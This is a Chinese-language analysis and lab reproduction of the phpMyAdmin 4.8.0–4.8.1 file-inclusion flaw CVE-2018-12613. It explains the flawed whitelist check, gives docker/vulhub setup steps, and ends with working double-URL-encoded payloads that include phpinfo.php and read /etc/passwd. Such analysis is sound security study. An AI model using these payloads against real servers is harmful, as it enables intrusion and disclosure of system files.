漏洞简介
漏洞编号:
CVE-2018-12613
漏洞详情:
该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。攻击者必须经过身份验证,但在这些情况下除外:
$ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定已经控制的任何主机,并在phpMyAdmin上执行任意代码
$ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码
漏洞影响范围:
phpMyAdmin 4.8.0-4.8.1
漏洞分析:
在index.php文件的55-63行如下
if (! empty($_REQUEST['target'])&& is_string($_REQUEST['target'])&& ! preg_match('/^index/', $_REQUEST['target'])&& ! in_array($_REQUEST['target'], $target_blacklist)&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];exit;
}
这里获取target参数做出了如下判断,判断为真则包含此参数。
1.参数不为空
2.参数为字符串
3.参数不能以index开头
4.参数不在$target_blacklist中
5.Core::checkPageValidity(参数)为真
第四条判定条件
$target_blacklist中的数组为import.php 和 export.php,所以参数不是这两个即可。
第五条判定条件中的函数如下:
public static function checkPageValidity(&$page, array $whitelist = []){
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;}if (! isset($page) || !is_string($page)) {
return false;}if (in_array($page, $whitelist)) {
return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {
return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {
return true;}return false;}
在这个函数中有以下判断,分别如下:
1、whitelist为空则引用静态声明的goto_whitelist
2、如果page没有被定义过或者page不为字符串则return false
3、page存在whitelist中的某个值则返回true
4、_page存在whitelist中的某个值则返回true
5、经过urldecode函数解码后的_page存在whitelist中的某个值则返回true
我们过一下整体的流程,首先index.php调用此函数时只传了$_REQUEST[‘target’]这一个参数,那么whitelist为空,所以引用了静态声明的goto_whitelist,再来看goto_whitelist的内容:
public static $goto_whitelist = array('db_datadict.php','db_sql.php','db_events.php','db_export.php','db_importdocsql.php','db_multi_table_query.php','db_structure.php','db_import.php','db_operations.php','db_search.php','db_routines.php','export.php','import.php','index.php','pdf_pages.php','pdf_schema.php','server_binlog.php','server_collations.php','server_databases.php','server_engines.php','server_export.php','server_import.php','server_privileges.php','server_sql.php','server_status.php','server_status_advisor.php','server_status_monitor.php','server_status_queries.php','server_status_variables.php','server_variables.php','sql.php','tbl_addfield.php','tbl_change.php','tbl_create.php','tbl_import.php','tbl_indexes.php','tbl_sql.php','tbl_export.php','tbl_operations.php','tbl_structure.php','tbl_relation.php','tbl_replace.php','tbl_row_action.php','tbl_select.php','tbl_zoom_select.php','transformation_overview.php','transformation_wrapper.php','user_password.php',);
这是goto_whitelist中的值,也就是说这些是可以出现的。第二个条件肯定是为真的,接着往下走,第三个判断page是否为goto_whitelist中的值,如果是则返回ture,否则进入下一步,而这一步存在的意义在于,考虑到用户传入的page可能带有参数,所以有了这一步的判断。
所以第三步判断为假,进入下一步,先定义_page的值为:把page以?分割开,取前面的字符串看是否goto_whitelist中存在,如果存在,则返回ture,执行包含文件,如果还不存在,再验证,进行urlecode函数解码后再与goto_whitelist中的值进行判断,如果存在则返回真。
所以我们需要构造满足以上条件的payload进行文件包含,思路是进行二次url编码,例如我们传入
?target=db_datadict.php%253f../../../../phpinfo.php
经过一次服务器自动解码后变成了
?target=db_datadict.php%3f../../../../phpinfo.php
传入验证,这个参数过上面的流程的话,走到
_page存在whitelist中的某个值则返回true
这里的时候,判断为假,进入下一个判断,取?之前的值在goto_whitelist对照,但是此时没有?,截取之后判断还为假,所以进入url解码,再进行判断,此时解码后参数为
?target=db_datadict.php?../../../../phpinfo.php
判断为真,返回ture,包含此文件。
漏洞复现
环境搭建:
安装docker
1. curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repo
2. yum install https://download.docker.com/linux/fedora/30/x86_64/stable/Packages/containerd.io-1.2.6-3.3.fc30.x86_64.rpm
3. yum install docker-ce
4. systemctl start docker
更换镜像的下载源
vi /etc/docker/daemon.json
直接替换里面的内容为:
{
“registry-mirrors”: [“https://xxxxx.mirrors.aliyun.com”]
}
网址在阿里云容器镜像服务获取:
https://www.aliyun.com/product/acr?spm=a2c4g.11174283.2.1.625e4541j1IFor
重启docker服务:
systemctl daemon-reload
systemctl restart docker
测试docker服务是否正常:
docker pull busybox
docker run busybox echo “hello world”
输出hello world即docker正常运行。
部署漏洞所需环境:
复现漏洞可以直接使用vulhub上的docker镜像
项目可以下载至任意目录下,我这里在root目录下
git clone https://github.com/vulhub/vulhub
进入项目需要复现的漏洞编号下
cd vulhub/vulhub-master/phpmyadmin/CVE-2018-12613
把我们需要的项目起来
docker-compose up -d
此命令需要python环境,还需要再单独下载
yum install -y python38
可能yum源里没有python38,也可以装其他版本,可以执行get-pip.py文件即可
wget https://bootstrap.pypa.io/get-pip.py
sudo python3 get-pip.py
pip -version
pip install docker-compose
环境搭建完成,我这里打开页面访问8080端口就进入了phpMyAdmin界面
漏洞验证
构造包含文件的payload,测试包含etc/passwd文件:
http://192.168.0.106:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
可以看到已经显示出etc/passwd文件了,漏洞复现完成!